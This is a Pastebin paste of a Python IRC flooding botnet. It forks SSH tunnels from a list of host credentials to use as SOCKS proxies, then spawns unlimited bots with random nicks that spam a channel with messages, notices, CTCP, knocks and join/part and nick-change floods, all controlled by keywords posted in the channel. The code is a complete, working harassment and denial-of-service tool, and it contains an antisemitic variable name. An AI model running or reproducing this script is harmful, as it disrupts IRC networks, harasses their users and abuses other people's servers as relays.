Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import os
- import sys
- import socket
- import random
- import time
- import socks
- from threading import Thread
- network = 'irc.bikcmp.info'
- port = 6667
- channel = '#help'
- message = 'hello, bicycle computers here. irc.bikcmp.info #help for all your IRC needs!'
- join = 1
- knock = 0
- joinpart = 1
- nickspam = 1
- chat = 1
- pmsg = 1
- ctcp = 1
- action = 1
- notice = 1
- accounts = 'accounts.txt'
- baseport = 9050
- maxletters = 7
- alphabet = 'qwertyuiopasdfghjklzxcvbnm'
- acctfile = open(accounts,'r')
- lines=0
- ssh_pid = 0
- for line in acctfile:
- ssh_data = line
- ssh_exploded = ssh_data.split(',')
- ssh_host = ssh_exploded[0]
- ssh_user = ssh_exploded[1]
- ssh_pass = ssh_exploded[2]
- ssh_port = ssh_exploded[3]
- ssh_pid = os.fork()
- if not ssh_pid:
- os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
- break
- else:
- lines += 1
- if ssh_pid:
- acctfile.close()
- class bot(Thread):
- def __init__ (self,seed):
- Thread.__init__(self)
- self.seed = seed
- def lrecv(self):
- c, s = '', ''
- while c != '\n':
- c = self.irc.recv(1)
- if c == '': # connection closed
- break
- s += c
- return s.strip('\r\n')
- def run(self):
- global joinpart
- global nickspam
- global chat
- global action
- global pmsg
- global ctcp
- global notice
- global knock
- global join
- global message
- nick=''
- self.joined=0
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
- self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
- self.irc.connect ( ( network, port ) )
- self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
- self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
- while 1:
- line = self.lrecv()
- if line.find ( '001' ) != -1:
- break
- self.irc.send ( 'JOIN ' + channel + '\r\n' )
- self.spamcount = 0
- while 1:
- data=self.lrecv()
- if data.find ( 'PING' ) != -1:
- self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
- if data.find ( '404' ) != -1:
- self.joined = 0
- if data.find ( '+i' ) != -1:
- knock = 1
- if knock == 1:
- self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
- time.sleep ( .5 )
- if data.find ( 'newmsg ' ) != -1:
- message = data.split() [ 1 ]
- if data.find ( 'startnickspam' ) != -1:
- join = 1
- nickspam = 1
- if data.find ( 'startjoinpart' ) != -1:
- join = 1
- joinpart = 1
- if data.find ( 'stopnickspam' ) != -1:
- nickspam = 0
- if data.find ( 'stopjoinpart' ) != -1:
- joinpart = 0
- if data.find ( 'startchat' ) != -1:
- chat = 1
- if data.find ( 'stopchat' ) != -1:
- chat = 0
- if data.find ( 'startpmsg' ) != -1:
- chat = 1
- pmsg = 1
- if data.find ( 'stoppmsg' ) != -1:
- pmsg = 0
- if data.find ( 'startctcp' ) != -1:
- chat = 1
- ctcp = 1
- if data.find ( 'stopctcp' ) != -1:
- ctcp = 0
- if data.find ( 'startaction' ) != -1:
- chat = 1
- action = 1
- if data.find ( 'stopaction' ) != -1:
- action = 0
- if data.find ( 'startnotice' ) != -1:
- chat = 1
- notice = 1
- if data.find ( 'stopnotice' ) != -1:
- notice = 0
- if data.find ( 'startknock' ) != -1:
- knock = 1
- join = 0
- if data.find ( 'stopknock' ) != -1:
- knock = 0
- if data.find ( 'startjoin' ) != -1:
- join = 1
- knock = 0
- if data.find ( 'stopjoin' ) != -1:
- join = 0
- if self.joined == 0:
- if join == 1:
- self.irc.send ( 'JOIN ' + channel + '\r\n' )
- self.joined = 1
- time.sleep ( .5 )
- if self.joined == 1:
- knock = 0
- self.spamcount += 1
- if chat == 1:
- loljews = random.randint(1,4)
- if loljews == 1:
- if pmsg == 1:
- self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
- if loljews == 2:
- if notice == 1:
- self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
- if loljews == 3:
- if ctcp == 1:
- self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\001\r\n' )
- if loljews == 4:
- if action == 1:
- self.irc.send ( 'PRIVMSG ' + channel + ' :\001ACTION ' + message + '\007\001\r\n' )
- if self.spamcount == 5:
- if nickspam == 1:
- nick=''
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
- if joinpart == 1:
- self.irc.send ( 'PART ' + channel + '\r\n' )
- self.joined = 0
- self.spamcount = 0
- time.sleep ( .5 )
- def spawn():
- while True:
- bot_instance = bot(str(random.randint(1,9999)))
- bot_instance.start()
- spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement